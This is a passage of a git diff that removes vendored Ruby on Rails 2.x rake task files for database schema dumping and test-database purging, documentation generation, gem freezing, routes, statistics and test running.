-        dbfile = abcs[RAILS_ENV]["database"] || abcs[RAILS_ENV]["dbfile"]
-        `#{abcs[RAILS_ENV]["adapter"]} #{dbfile} .schema > db/#{RAILS_ENV}_structure.sql`
-      when "sqlserver"
-        `scptxfr /s #{abcs[RAILS_ENV]["host"]} /d #{abcs[RAILS_ENV]["database"]} /I /f db\\#{RAILS_ENV}_structure.sql /q /A /r`
-        `scptxfr /s #{abcs[RAILS_ENV]["host"]} /d #{abcs[RAILS_ENV]["database"]} /I /F db\ /q /A /r`
-      when "firebird"
-        set_firebird_env(abcs[RAILS_ENV])
-        db_string = firebird_db_string(abcs[RAILS_ENV])
-        sh "isql -a #{db_string} > #{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql"
-      else
-        raise "Task not supported by '#{abcs["test"]["adapter"]}'"
-      end
-
-      if ActiveRecord::Base.connection.supports_migrations?
-        File.open("#{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql", "a") { |f| f << ActiveRecord::Base.connection.dump_schema_information }
-      end
-    end
-  end
-
-  namespace :test do
-    desc "Recreate the test database from the current schema.rb"
-    task :load => 'db:test:purge' do
-      ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['test'])
-      ActiveRecord::Schema.verbose = false
-      Rake::Task["db:schema:load"].invoke
-    end
-
-    desc "Recreate the test database from the current environment's database schema"
-    task :clone => %w(db:schema:dump db:test:load)
-
-    desc "Recreate the test databases from the development structure"
-    task :clone_structure => [ "db:structure:dump", "db:test:purge" ] do
-      abcs = ActiveRecord::Base.configurations
-      case abcs["test"]["adapter"]
-      when /^mysql/
-        ActiveRecord::Base.establish_connection(:test)
-        ActiveRecord::Base.connection.execute('SET foreign_key_checks = 0')
-        IO.readlines("#{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql").join.split("\n\n").each do |table|
-          ActiveRecord::Base.connection.execute(table)
-        end
-      when "postgresql"
-        ENV['PGHOST']     = abcs["test"]["host"] if abcs["test"]["host"]
-        ENV['PGPORT']     = abcs["test"]["port"].to_s if abcs["test"]["port"]
-        ENV['PGPASSWORD'] = abcs["test"]["password"].to_s if abcs["test"]["password"]
-        `psql -U "#{abcs["test"]["username"]}" -f #{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql #{abcs["test"]["database"]}`
-      when "sqlite", "sqlite3"
-        dbfile = abcs["test"]["database"] || abcs["test"]["dbfile"]
-        `#{abcs["test"]["adapter"]} #{dbfile} < #{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql`
-      when "sqlserver"
-        `osql -E -S #{abcs["test"]["host"]} -d #{abcs["test"]["database"]} -i db\\#{RAILS_ENV}_structure.sql`
-      when "oci", "oracle"
-        ActiveRecord::Base.establish_connection(:test)
-        IO.readlines("#{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql").join.split(";\n\n").each do |ddl|
-          ActiveRecord::Base.connection.execute(ddl)
-        end
-      when "firebird"
-        set_firebird_env(abcs["test"])
-        db_string = firebird_db_string(abcs["test"])
-        sh "isql -i #{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql #{db_string}"
-      else
-        raise "Task not supported by '#{abcs["test"]["adapter"]}'"
-      end
-    end
-
-    desc "Empty the test database"
-    task :purge => :environment do
-      abcs = ActiveRecord::Base.configurations
-      case abcs["test"]["adapter"]
-      when /^mysql/
-        ActiveRecord::Base.establish_connection(:test)
-        ActiveRecord::Base.connection.recreate_database(abcs["test"]["database"], abcs["test"])
-      when "postgresql"
-        ActiveRecord::Base.clear_active_connections!
-        drop_database(abcs['test'])
-        create_database(abcs['test'])
-      when "sqlite", "sqlite3"
-        dbfile = abcs["test"]["database"] || abcs["test"]["dbfile"]
-        File.delete(dbfile) if File.exist?(dbfile)
-      when "sqlserver"
-        dropfkscript = "#{abcs["test"]["host"]}.#{abcs["test"]["database"]}.DP1".gsub(/\\/,'-')
-        `osql -E -S #{abcs["test"]["host"]} -d #{abcs["test"]["database"]} -i db\\#{dropfkscript}`
-        `osql -E -S #{abcs["test"]["host"]} -d #{abcs["test"]["database"]} -i db\\#{RAILS_ENV}_structure.sql`
-      when "oci", "oracle"
-        ActiveRecord::Base.establish_connection(:test)
-        ActiveRecord::Base.connection.structure_drop.split(";\n\n").each do |ddl|
-          ActiveRecord::Base.connection.execute(ddl)
-        end
-      when "firebird"
-        ActiveRecord::Base.establish_connection(:test)
-        ActiveRecord::Base.connection.recreate_database!
-      else
-        raise "Task not supported by '#{abcs["test"]["adapter"]}'"
-      end
-    end
-
-    desc 'Check for pending migrations and load the test schema'
-    task :prepare => 'db:abort_if_pending_migrations' do
-      if defined?(ActiveRecord) && !ActiveRecord::Base.configurations.blank?
-        Rake::Task[{ :sql  => "db:test:clone_structure", :ruby => "db:test:load" }[ActiveRecord::Base.schema_format]].invoke
-      end
-    end
-  end
-
-  namespace :sessions do
-    desc "Creates a sessions migration for use with ActiveRecord::SessionStore"
-    task :create => :environment do
-      raise "Task unavailable to this database (no migration support)" unless ActiveRecord::Base.connection.supports_migrations?
-      require 'rails_generator'
-      require 'rails_generator/scripts/generate'
-      Rails::Generator::Scripts::Generate.new.run(["session_migration", ENV["MIGRATION"] || "CreateSessions"])
-    end
-
-    desc "Clear the sessions table"
-    task :clear => :environment do
-      ActiveRecord::Base.connection.execute "DELETE FROM #{session_table_name}"
-    end
-  end
-end
-
-def drop_database(config)
-  begin
-    case config['adapter']
-    when /^mysql/
-      ActiveRecord::Base.establish_connection(config)
-      ActiveRecord::Base.connection.drop_database config['database']
-    when /^sqlite/
-      FileUtils.rm(File.join(RAILS_ROOT, config['database']))
-    when 'postgresql'
-      ActiveRecord::Base.establish_connection(config.merge('database' => 'postgres', 'schema_search_path' => 'public'))
-      ActiveRecord::Base.connection.drop_database config['database']
-    end
-  rescue Exception => e
-    puts "Couldn't drop #{config['database']} : #{e.inspect}"
-  end
-end
-
-def session_table_name
-  ActiveRecord::Base.pluralize_table_names ? :sessions : :session
-end
-
-def set_firebird_env(config)
-  ENV["ISC_USER"]     = config["username"].to_s if config["username"]
-  ENV["ISC_PASSWORD"] = config["password"].to_s if config["password"]
-end
-
-def firebird_db_string(config)
-  FireRuby::Database.db_string_for(config.symbolize_keys)
-end
diff --git a/vendor/rails/railties/lib/tasks/documentation.rake b/vendor/rails/railties/lib/tasks/documentation.rake
deleted file mode 100644
index b3111a5a..00000000
--- a/vendor/rails/railties/lib/tasks/documentation.rake
+++ /dev/null
@@ -1,93 +0,0 @@
-begin
-  require 'rdoc/task'
-namespace :doc do
-  desc "Generate documentation for the application. Set custom template with TEMPLATE=/path/to/rdoc/template.rb or title with TITLE=\"Custom Title\""
-  RDoc::Task.new("app") { |rdoc|
-    rdoc.rdoc_dir = 'doc/app'
-    rdoc.template = ENV['template'] if ENV['template']
-    rdoc.title    = ENV['title'] || "Rails Application Documentation"
-    rdoc.options << '--line-numbers' << '--inline-source'
-    rdoc.options << '--charset' << 'utf-8'
-    rdoc.rdoc_files.include('doc/README_FOR_APP')
-    rdoc.rdoc_files.include('app/**/*.rb')
-    rdoc.rdoc_files.include('lib/**/*.rb')
-  }
-
-  desc "Generate documentation for the Rails framework"
-  RDoc::Task.new("rails") { |rdoc|
-    rdoc.rdoc_dir = 'doc/api'
-    rdoc.template = "#{ENV['template']}.rb" if ENV['template']
-    rdoc.title    = "Rails Framework Documentation"
-    rdoc.options << '--line-numbers' << '--inline-source'
-    rdoc.rdoc_files.include('README')
-    rdoc.rdoc_files.include('vendor/rails/railties/CHANGELOG')
-    rdoc.rdoc_files.include('vendor/rails/railties/MIT-LICENSE')
-    rdoc.rdoc_files.include('vendor/rails/railties/README')
-    rdoc.rdoc_files.include('vendor/rails/railties/lib/{*.rb,commands/*.rb,rails_generator/*.rb}')
-    rdoc.rdoc_files.include('vendor/rails/activerecord/README')
-    rdoc.rdoc_files.include('vendor/rails/activerecord/CHANGELOG')
-    rdoc.rdoc_files.include('vendor/rails/activerecord/lib/active_record/**/*.rb')
-    rdoc.rdoc_files.exclude('vendor/rails/activerecord/lib/active_record/vendor/*')
-    rdoc.rdoc_files.include('vendor/rails/activeresource/README')
-    rdoc.rdoc_files.include('vendor/rails/activeresource/CHANGELOG')
-    rdoc.rdoc_files.include('vendor/rails/activeresource/lib/active_resource.rb')
-    rdoc.rdoc_files.include('vendor/rails/activeresource/lib/active_resource/*')
-    rdoc.rdoc_files.include('vendor/rails/actionpack/README')
-    rdoc.rdoc_files.include('vendor/rails/actionpack/CHANGELOG')
-    rdoc.rdoc_files.include('vendor/rails/actionpack/lib/action_controller/**/*.rb')
-    rdoc.rdoc_files.include('vendor/rails/actionpack/lib/action_view/**/*.rb')
-    rdoc.rdoc_files.include('vendor/rails/actionmailer/README')
-    rdoc.rdoc_files.include('vendor/rails/actionmailer/CHANGELOG')
-    rdoc.rdoc_files.include('vendor/rails/actionmailer/lib/action_mailer/base.rb')
-    rdoc.rdoc_files.include('vendor/rails/activesupport/README')
-    rdoc.rdoc_files.include('vendor/rails/activesupport/CHANGELOG')
-    rdoc.rdoc_files.include('vendor/rails/activesupport/lib/active_support/**/*.rb')
-  }
-
-  plugins = FileList['vendor/plugins/**'].collect { |plugin| File.basename(plugin) }
-
-  desc "Generate documentation for all installed plugins"
-  task :plugins => plugins.collect { |plugin| "doc:plugins:#{plugin}" }
-
-  desc "Remove plugin documentation"
-  task :clobber_plugins do 
-    rm_rf 'doc/plugins' rescue nil
-  end
-
-  desc "Generate Rails guides"
-  task :guides do
-    require File.join(RAILTIES_PATH, "guides/rails_guides")
-    RailsGuides::Generator.new(File.join(RAILS_ROOT, "doc/guides")).generate
-  end
-
-  namespace :plugins do
-    # Define doc tasks for each plugin
-    plugins.each do |plugin|
-      desc "Generate documentation for the #{plugin} plugin"
-      task(plugin => :environment) do
-        plugin_base   = "vendor/plugins/#{plugin}"
-        options       = []
-        files         = Rake::FileList.new
-        options << "-o doc/plugins/#{plugin}"
-        options << "--title '#{plugin.titlecase} Plugin Documentation'"
-        options << '--line-numbers' << '--inline-source'
-        options << '--charset' << 'utf-8'
-        options << '-T html'
-
-        files.include("#{plugin_base}/lib/**/*.rb")
-        if File.exist?("#{plugin_base}/README")
-          files.include("#{plugin_base}/README")    
-          options << "--main '#{plugin_base}/README'"
-        end
-        files.include("#{plugin_base}/CHANGELOG") if File.exist?("#{plugin_base}/CHANGELOG")
-
-        options << files.to_s
-
-        sh %(rdoc #{options * ' '})
-      end
-    end
-  end
-end
-rescue LoadError
-  $stderr.puts 'Please install RDoc 2.4.2+ to generate documentation.'
-end
diff --git a/vendor/rails/railties/lib/tasks/framework.rake b/vendor/rails/railties/lib/tasks/framework.rake
deleted file mode 100644
index 76ee9aff..00000000
--- a/vendor/rails/railties/lib/tasks/framework.rake
+++ /dev/null
@@ -1,146 +0,0 @@
-namespace :rails do
-  namespace :freeze do
-    desc "Lock this application to the current gems (by unpacking them into vendor/rails)"
-    task :gems do
-      deps = %w(actionpack activerecord actionmailer activesupport activeresource)
-      require 'rubygems'
-      require 'rubygems/gem_runner'
-
-      rails = (version = ENV['VERSION']) ?
-        Gem.cache.find_name('rails', "= #{version}").first :
-        Gem.cache.find_name('rails').sort_by { |g| g.version }.last
-
-      version ||= rails.version
-
-      unless rails
-        puts "No rails gem #{version} is installed.  Do 'gem list rails' to see what you have available."
-        exit
-      end
-
-      puts "Freezing to the gems for Rails #{rails.version}"
-      rm_rf   "vendor/rails"
-      mkdir_p "vendor/rails"
-
-      begin
-        chdir("vendor/rails") do
-          rails.dependencies.select { |g| deps.include? g.name }.each do |g|
-            Gem::GemRunner.new.run(["unpack", g.name, "--version", g.respond_to?(:requirement) ? g.requirement.to_s : g.version_requirements.to_s])
-            mv(Dir.glob("#{g.name}*").first, g.name)
-          end
-
-          Gem::GemRunner.new.run(["unpack", "rails", "--version", "=#{version}"])
-          FileUtils.mv(Dir.glob("rails*").first, "railties")
-        end
-      rescue Exception
-        rm_rf "vendor/rails"
-        raise
-      end
-    end
-
-    desc 'Lock to latest Edge Rails, for a specific release use RELEASE=1.2.0'
-    task :edge do
-      require 'open-uri'
-      version = ENV["RELEASE"] || "edge"
-      target  = "rails_#{version}.zip"
-      commits = "http://github.com/api/v1/yaml/rails/rails/commits/master"
-      url     = "http://dev.rubyonrails.org/archives/#{target}"
-
-      chdir 'vendor' do
-        latest_revision = YAML.load(open(commits))["commits"].first["id"]
-
-        puts "Downloading Rails from #{url}"
-        File.open('rails.zip', 'wb') do |dst|
-          open url do |src|
-            while chunk = src.read(4096)
-              dst << chunk
-            end
-          end
-        end
-
-        puts 'Unpacking Rails'
-        rm_rf 'rails'
-        `unzip rails.zip`
-        %w(rails.zip rails/Rakefile rails/cleanlogs.sh rails/pushgems.rb rails/release.rb).each do |goner|
-          rm_f goner
-        end
-
-        puts "Frozen to git revision #{latest_revision}"
-        File.open('rails/REVISION', 'w') do |revision|
-          revision.puts latest_revision
-        end
-      end
-
-      puts 'Updating current scripts, javascripts, and configuration settings'
-      Rake::Task['rails:update'].invoke
-    end
-  end
-
-  desc "Unlock this application from freeze of gems or edge and return to a fluid use of system gems"
-  task :unfreeze do
-    rm_rf "vendor/rails"
-  end
-
-  desc "Update both configs, scripts and public/javascripts from Rails"
-  task :update => [ "update:scripts", "update:javascripts", "update:configs", "update:application_controller" ]
-
-  desc "Applies the template supplied by LOCATION=/path/to/template"
-  task :template do
-    require 'rails_generator/generators/applications/app/template_runner'
-    Rails::TemplateRunner.new(ENV["LOCATION"])
-  end
-
-  namespace :update do
-    desc "Add new scripts to the application script/ directory"
-    task :scripts do
-      local_base = "script"
-      edge_base  = "#{File.dirname(__FILE__)}/../../bin"
-
-      local = Dir["#{local_base}/**/*"].reject { |path| File.directory?(path) }
-      edge  = Dir["#{edge_base}/**/*"].reject { |path| File.directory?(path) }
-  
-      edge.each do |script|
-        base_name = script[(edge_base.length+1)..-1]
-        next if base_name == "rails"
-        next if local.detect { |path| base_name == path[(local_base.length+1)..-1] }
-        if !File.directory?("#{local_base}/#{File.dirname(base_name)}")
-          mkdir_p "#{local_base}/#{File.dirname(base_name)}"
-        end
-        install script, "#{local_base}/#{base_name}", :mode => 0755
-      end
-    end
-
-    desc "Update your javascripts from your current rails install"
-    task :javascripts do
-      require 'railties_path'  
-      project_dir = RAILS_ROOT + '/public/javascripts/'
-      scripts = Dir[RAILTIES_PATH + '/html/javascripts/*.js']
-      scripts.reject!{|s| File.basename(s) == 'application.js'} if File.exist?(project_dir + 'application.js')
-      FileUtils.cp(scripts, project_dir)
-    end
-
-    desc "Update config/boot.rb from your current rails install"
-    task :configs do
-      require 'railties_path'  
-      FileUtils.cp(RAILTIES_PATH + '/environments/boot.rb', RAILS_ROOT + '/config/boot.rb')
-    end
-    
-    desc "Rename application.rb to application_controller.rb"
-    task :application_controller do
-      old_style = RAILS_ROOT + '/app/controllers/application.rb'
-      new_style = RAILS_ROOT + '/app/controllers/application_controller.rb'
-      if File.exists?(old_style) && !File.exists?(new_style)
-        FileUtils.mv(old_style, new_style)
-        puts "#{old_style} has been renamed to #{new_style}, update your SCM as necessary"
-      end
-    end
-    
-    desc "Generate dispatcher files in RAILS_ROOT/public"
-    task :generate_dispatchers do
-      require 'railties_path'
-      FileUtils.cp(RAILTIES_PATH + '/dispatches/config.ru', RAILS_ROOT + '/config.ru')
-      FileUtils.cp(RAILTIES_PATH + '/dispatches/dispatch.fcgi', RAILS_ROOT + '/public/dispatch.fcgi')
-      FileUtils.cp(RAILTIES_PATH + '/dispatches/dispatch.rb', RAILS_ROOT + '/public/dispatch.rb')
-      FileUtils.cp(RAILTIES_PATH + '/dispatches/dispatch.rb', RAILS_ROOT + '/public/dispatch.cgi')
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/tasks/gems.rake b/vendor/rails/railties/lib/tasks/gems.rake
deleted file mode 100644
index f1c34c7c..00000000
--- a/vendor/rails/railties/lib/tasks/gems.rake
+++ /dev/null
@@ -1,78 +0,0 @@
-desc "List the gems that this rails application depends on"
-task :gems => 'gems:base' do
-  Rails.configuration.gems.each do |gem|
-    print_gem_status(gem)
-  end
-  puts
-  puts "I = Installed"
-  puts "F = Frozen"
-  puts "R = Framework (loaded before rails starts)"
-end
-
-namespace :gems do
-  task :base do
-    $gems_rake_task = true
-    require 'rubygems'
-    require 'rubygems/gem_runner'
-    Rake::Task[:environment].invoke
-  end
-
-  desc "Build any native extensions for unpacked gems"
-  task :build do
-    $gems_build_rake_task = true
-    frozen_gems.each { |gem| gem.build }
-  end
-
-  namespace :build do
-    desc "Force the build of all gems"
-    task :force do
-      $gems_build_rake_task = true
-      frozen_gems.each { |gem| gem.build(:force => true) }
-    end
-  end
-
-  desc "Installs all required gems."
-  task :install => :base do
-    current_gems.each { |gem| gem.install }
-  end
-
-  desc "Unpacks all required gems into vendor/gems."
-  task :unpack => :install do
-    current_gems.each { |gem| gem.unpack }
-  end
-
-  namespace :unpack do
-    desc "Unpacks all required gems and their dependencies into vendor/gems."
-    task :dependencies => :install do
-      current_gems.each { |gem| gem.unpack(:recursive => true) }
-    end
-  end
-
-  desc "Regenerate gem specifications in correct format."
-  task :refresh_specs do
-    frozen_gems(false).each { |gem| gem.refresh }
-  end
-end
-
-def current_gems
-  gems = Rails.configuration.gems
-  gems = gems.select { |gem| gem.name == ENV['GEM'] } unless ENV['GEM'].blank?
-  gems
-end
-
-def frozen_gems(load_specs=true)
-  Dir[File.join(RAILS_ROOT, 'vendor', 'gems', '*-*')].map do |gem_dir|
-    Rails::GemDependency.from_directory_name(gem_dir, load_specs)
-  end
-end
-
-def print_gem_status(gem, indent=1)
-  code = case
-    when gem.framework_gem? then 'R'
-    when gem.frozen?        then 'F'
-    when gem.installed?     then 'I'
-    else                         ' '
-  end
-  puts "   "*(indent-1)+" - [#{code}] #{gem.name} #{gem.requirement.to_s}"
-  gem.dependencies.each { |g| print_gem_status(g, indent+1) }
-end
diff --git a/vendor/rails/railties/lib/tasks/log.rake b/vendor/rails/railties/lib/tasks/log.rake
deleted file mode 100644
index 6e133469..00000000
--- a/vendor/rails/railties/lib/tasks/log.rake
+++ /dev/null
@@ -1,9 +0,0 @@
-namespace :log do
-  desc "Truncates all *.log files in log/ to zero bytes"
-  task :clear do
-    FileList["log/*.log"].each do |log_file|
-      f = File.open(log_file, "w")
-      f.close
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/tasks/middleware.rake b/vendor/rails/railties/lib/tasks/middleware.rake
deleted file mode 100644
index 05f15918..00000000
--- a/vendor/rails/railties/lib/tasks/middleware.rake
+++ /dev/null
@@ -1,7 +0,0 @@
-desc 'Prints out your Rack middleware stack'
-task :middleware => :environment do
-  ActionController::Dispatcher.middleware.active.each do |middleware|
-    puts "use #{middleware.inspect}"
-  end
-  puts "run ActionController::Dispatcher.new"
-end
diff --git a/vendor/rails/railties/lib/tasks/misc.rake b/vendor/rails/railties/lib/tasks/misc.rake
deleted file mode 100644
index 9e6f96db..00000000
--- a/vendor/rails/railties/lib/tasks/misc.rake
+++ /dev/null
@@ -1,63 +0,0 @@
-task :default => :test
-task :environment do
-  $rails_rake_task = true
-  require(File.join(RAILS_ROOT, 'config', 'environment'))
-end
-
-task :rails_env do
-  unless defined? RAILS_ENV
-    RAILS_ENV = ENV['RAILS_ENV'] ||= 'development'
-  end
-end
-
-desc 'Generate a crytographically secure secret key. This is typically used to generate a secret for cookie sessions.'
-task :secret do
-  puts ActiveSupport::SecureRandom.hex(64)
-end
-
-require 'active_support'
-namespace :time do
-  namespace :zones do
-    desc 'Displays names of all time zones recognized by the Rails TimeZone class, grouped by offset. Results can be filtered with optional OFFSET parameter, e.g., OFFSET=-6'
-    task :all do
-      build_time_zone_list(:all)
-    end
-    
-    desc 'Displays names of US time zones recognized by the Rails TimeZone class, grouped by offset. Results can be filtered with optional OFFSET parameter, e.g., OFFSET=-6'
-    task :us do
-      build_time_zone_list(:us_zones)
-    end
-    
-    desc 'Displays names of time zones recognized by the Rails TimeZone class with the same offset as the system local time'
-    task :local do
-      jan_offset = Time.now.beginning_of_year.utc_offset
-      jul_offset = Time.now.beginning_of_year.change(:month => 7).utc_offset
-      offset = jan_offset < jul_offset ? jan_offset : jul_offset
-      build_time_zone_list(:all, offset)
-    end
-    
-    # to find UTC -06:00 zones, OFFSET can be set to either -6, -6:00 or 21600
-    def build_time_zone_list(method, offset = ENV['OFFSET'])
-      if offset
-        offset = if offset.to_s.match(/(\+|-)?(\d+):(\d+)/)
-          sign = $1 == '-' ? -1 : 1
-          hours, minutes = $2.to_f, $3.to_f
-          ((hours * 3600) + (minutes.to_f * 60)) * sign
-        elsif offset.to_f.abs <= 13
-          offset.to_f * 3600
-        else
-          offset.to_f
-        end
-      end
-      previous_offset = nil
-      ActiveSupport::TimeZone.__send__(method).each do |zone|
-        if offset.nil? || offset == zone.utc_offset
-          puts "\n* UTC #{zone.formatted_offset} *" unless zone.utc_offset == previous_offset
-          puts zone.name
-          previous_offset = zone.utc_offset
-        end
-      end
-      puts "\n"
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/tasks/rails.rb b/vendor/rails/railties/lib/tasks/rails.rb
deleted file mode 100644
index b9bc099f..00000000
--- a/vendor/rails/railties/lib/tasks/rails.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-$VERBOSE = nil
-
-# Load Rails rakefile extensions
-Dir["#{File.dirname(__FILE__)}/*.rake"].each { |ext| load ext }
-
-# Load any custom rakefile extensions
-deprecated_paths = Dir["#{RAILS_ROOT}/vendor/plugins/*/tasks/**/*.rake"].sort
-if deprecated_paths.any?
-  plugins = deprecated_paths.map { |p| $1 if p =~ %r((vendor/plugins/[^/]+/tasks)) }.compact
-  ActiveSupport::Deprecation.warn "Rake tasks in #{plugins.to_sentence} are deprecated. Use lib/tasks instead."
-  deprecated_paths.each { |ext| load ext }
-end
-Dir["#{RAILS_ROOT}/vendor/plugins/*/lib/tasks/**/*.rake"].sort.each { |ext| load ext }
-Dir["#{RAILS_ROOT}/lib/tasks/**/*.rake"].sort.each { |ext| load ext }
diff --git a/vendor/rails/railties/lib/tasks/routes.rake b/vendor/rails/railties/lib/tasks/routes.rake
deleted file mode 100644
index abbf3258..00000000
--- a/vendor/rails/railties/lib/tasks/routes.rake
+++ /dev/null
@@ -1,18 +0,0 @@
-desc 'Print out all defined routes in match order, with names. Target specific controller with CONTROLLER=x.'
-task :routes => :environment do
-  all_routes = ENV['CONTROLLER'] ? ActionController::Routing::Routes.routes.select { |route| route.defaults[:controller] == ENV['CONTROLLER'] } : ActionController::Routing::Routes.routes
-  routes = all_routes.collect do |route|
-    name = ActionController::Routing::Routes.named_routes.routes.index(route).to_s
-    verb = route.conditions[:method].to_s.upcase
-    segs = route.segments.inject("") { |str,s| str << s.to_s }
-    segs.chop! if segs.length > 1
-    reqs = route.requirements.empty? ? "" : route.requirements.inspect
-    {:name => name, :verb => verb, :segs => segs, :reqs => reqs}
-  end
-  name_width = routes.collect {|r| r[:name]}.collect {|n| n.length}.max
-  verb_width = routes.collect {|r| r[:verb]}.collect {|v| v.length}.max
-  segs_width = routes.collect {|r| r[:segs]}.collect {|s| s.length}.max
-  routes.each do |r|
-    puts "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:segs].ljust(segs_width)} #{r[:reqs]}"
-  end
-end
diff --git a/vendor/rails/railties/lib/tasks/statistics.rake b/vendor/rails/railties/lib/tasks/statistics.rake
deleted file mode 100644
index 5ab27a0f..00000000
--- a/vendor/rails/railties/lib/tasks/statistics.rake
+++ /dev/null
@@ -1,17 +0,0 @@
-STATS_DIRECTORIES = [
-  %w(Controllers        app/controllers),
-  %w(Helpers            app/helpers), 
-  %w(Models             app/models),
-  %w(Libraries          lib/),
-  %w(APIs               app/apis),
-  %w(Integration\ tests test/integration),
-  %w(Functional\ tests  test/functional),
-  %w(Unit\ tests        test/unit)
-
-].collect { |name, dir| [ name, "#{RAILS_ROOT}/#{dir}" ] }.select { |name, dir| File.directory?(dir) }
-
-desc "Report code statistics (KLOCs, etc) from the application"
-task :stats do
-  require 'code_statistics'
-  CodeStatistics.new(*STATS_DIRECTORIES).to_s
-end
diff --git a/vendor/rails/railties/lib/tasks/testing.rake b/vendor/rails/railties/lib/tasks/testing.rake
deleted file mode 100644
index fd5e52a0..00000000
--- a/vendor/rails/railties/lib/tasks/testing.rake
+++ /dev/null
@@ -1,139 +0,0 @@
-TEST_CHANGES_SINCE = Time.now - 600
-
-# Look up tests for recently modified sources.
-def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago)
-  FileList[source_pattern].map do |path|
-    if File.mtime(path) > touched_since
-      tests = []
-      source_dir = File.dirname(path).split("/")
-      source_file = File.basename(path, '.rb')
-
-      # Support subdirs in app/models and app/controllers
-      modified_test_path = source_dir.length > 2 ? "#{test_path}/" << source_dir[1..source_dir.length].join('/') : test_path
-
-      # For modified files in app/ run the tests for it. ex. /test/functional/account_controller.rb
-      test = "#{modified_test_path}/#{source_file}_test.rb"
-      tests.push test if File.exist?(test)
-
-      # For modified files in app, run tests in subdirs too. ex. /test/functional/account/*_test.rb
-      test = "#{modified_test_path}/#{File.basename(path, '.rb').sub("_controller","")}"
-      FileList["#{test}/*_test.rb"].each { |f| tests.push f } if File.exist?(test)
-
-      return tests
-
-    end
-  end.flatten.compact
-end
-
-
-# Recreated here from ActiveSupport because :uncommitted needs it before Rails is available
-module Kernel
-  def silence_stderr
-    old_stderr = STDERR.dup
-    STDERR.reopen(RUBY_PLATFORM =~ /(:?mswin|mingw)/ ? 'NUL:' : '/dev/null')
-    STDERR.sync = true
-    yield
-  ensure
-    STDERR.reopen(old_stderr)
-  end
-end
-
-desc 'Run all unit, functional and integration tests'
-task :test do
-  errors = %w(test:units test:functionals test:integration).collect do |task|
-    begin
-      Rake::Task[task].invoke
-      nil
-    rescue => e
-      task
-    end
-  end.compact
-  abort "Errors running #{errors.to_sentence(:locale => :en)}!" if errors.any?
-end
-
-namespace :test do
-  Rake::TestTask.new(:recent => "db:test:prepare") do |t|
-    since = TEST_CHANGES_SINCE
-    touched = FileList['test/**/*_test.rb'].select { |path| File.mtime(path) > since } +
-      recent_tests('app/models/**/*.rb', 'test/unit', since) +
-      recent_tests('app/controllers/**/*.rb', 'test/functional', since)
-
-    t.libs << 'test'
-    t.verbose = true
-    t.test_files = touched.uniq
-  end
-  Rake::Task['test:recent'].comment = "Test recent changes"
-
-  Rake::TestTask.new(:uncommitted => "db:test:prepare") do |t|
-    def t.file_list
-      if File.directory?(".svn")
-        changed_since_checkin = silence_stderr { `svn status` }.map { |path| path.chomp[7 .. -1] }
-      elsif File.directory?(".git")
-        changed_since_checkin = silence_stderr { `git ls-files --modified --others` }.map { |path| path.chomp }
-      else
-        abort "Not a Subversion or Git checkout."
-      end
-
-      models      = changed_since_checkin.select { |path| path =~ /app[\\\/]models[\\\/].*\.rb$/ }
-      controllers = changed_since_checkin.select { |path| path =~ /app[\\\/]controllers[\\\/].*\.rb$/ }
-
-      unit_tests       = models.map { |model| "test/unit/#{File.basename(model, '.rb')}_test.rb" }
-      functional_tests = controllers.map { |controller| "test/functional/#{File.basename(controller, '.rb')}_test.rb" }
-
-      unit_tests.uniq + functional_tests.uniq
-    end
-
-    t.libs << 'test'
-    t.verbose = true
-  end
-  Rake::Task['test:uncommitted'].comment = "Test changes since last checkin (only Subversion and Git)"
-
-  Rake::TestTask.new(:units => "db:test:prepare") do |t|
-    t.libs << "test"
-    t.pattern = 'test/unit/**/*_test.rb'
-    t.verbose = true
-  end
-  Rake::Task['test:units'].comment = "Run the unit tests in test/unit"
-
-  Rake::TestTask.new(:functionals => "db:test:prepare") do |t|
-    t.libs << "test"
-    t.pattern = 'test/functional/**/*_test.rb'
-    t.verbose = true
-  end
-  Rake::Task['test:functionals'].comment = "Run the functional tests in test/functional"
-
-  Rake::TestTask.new(:integration => "db:test:prepare") do |t|
-    t.libs << "test"
-    t.pattern = 'test/integration/**/*_test.rb'
-    t.verbose = true
-  end
-  Rake::Task['test:integration'].comment = "Run the integration tests in test/integration"
-
-  Rake::TestTask.new(:benchmark => 'db:test:prepare') do |t|
-    t.libs << 'test'
-    t.pattern = 'test/performance/**/*_test.rb'
-    t.verbose = true
-    t.options = '-- --benchmark'
-  end
-  Rake::Task['test:benchmark'].comment = 'Benchmark the performance tests'
-
-  Rake::TestTask.new(:profile => 'db:test:prepare') do |t|
-    t.libs << 'test'
-    t.pattern = 'test/performance/**/*_test.rb'
-    t.verbose = true
-  end
-  Rake::Task['test:profile'].comment = 'Profile the performance tests'
-
-  Rake::TestTask.new(:plugins => :environment) do |t|
-    t.libs << "test"
-
-    if ENV['PLUGIN']
-      t.pattern = "vendor/plugins/#{ENV['PLUGIN']}/test/**/*_test.rb"
-    else
-      t.pattern = 'vendor/plugins/*/**/test/**/*_test.rb'
-    end
-
-    t.verbose = true
-  end
-  Rake::Task['test:plugins'].comment = "Run the plugin tests in vendor/plugins/*/**/test (or specify with PLUGIN=name)"
-end
diff --git a/vendor/rails/railties/lib/tasks/tmp.rake b/vendor/rails/railties/lib/tasks/tmp.rake
deleted file mode 100644
index fea15058..00000000
--- a/vendor/rails/railties/lib/tasks/tmp.rake
+++ /dev/null
@@ -1,37 +0,0 @@
-namespace :tmp do
-  desc "Clear session, cache, and socket files from tmp/"
-  task :clear => [ "tmp:sessions:clear",  "tmp:cache:clear", "tmp:sockets:clear"]
-
-  desc "Creates tmp directories for sessions, cache, sockets, and pids"
-  task :create do
-    FileUtils.mkdir_p(%w( tmp/sessions tmp/cache tmp/sockets tmp/pids ))
-  end
-
-  namespace :sessions do
-    desc "Clears all files in tmp/sessions"
-    task :clear do
-      FileUtils.rm(Dir['tmp/sessions/[^.]*'])
-    end
-  end
-
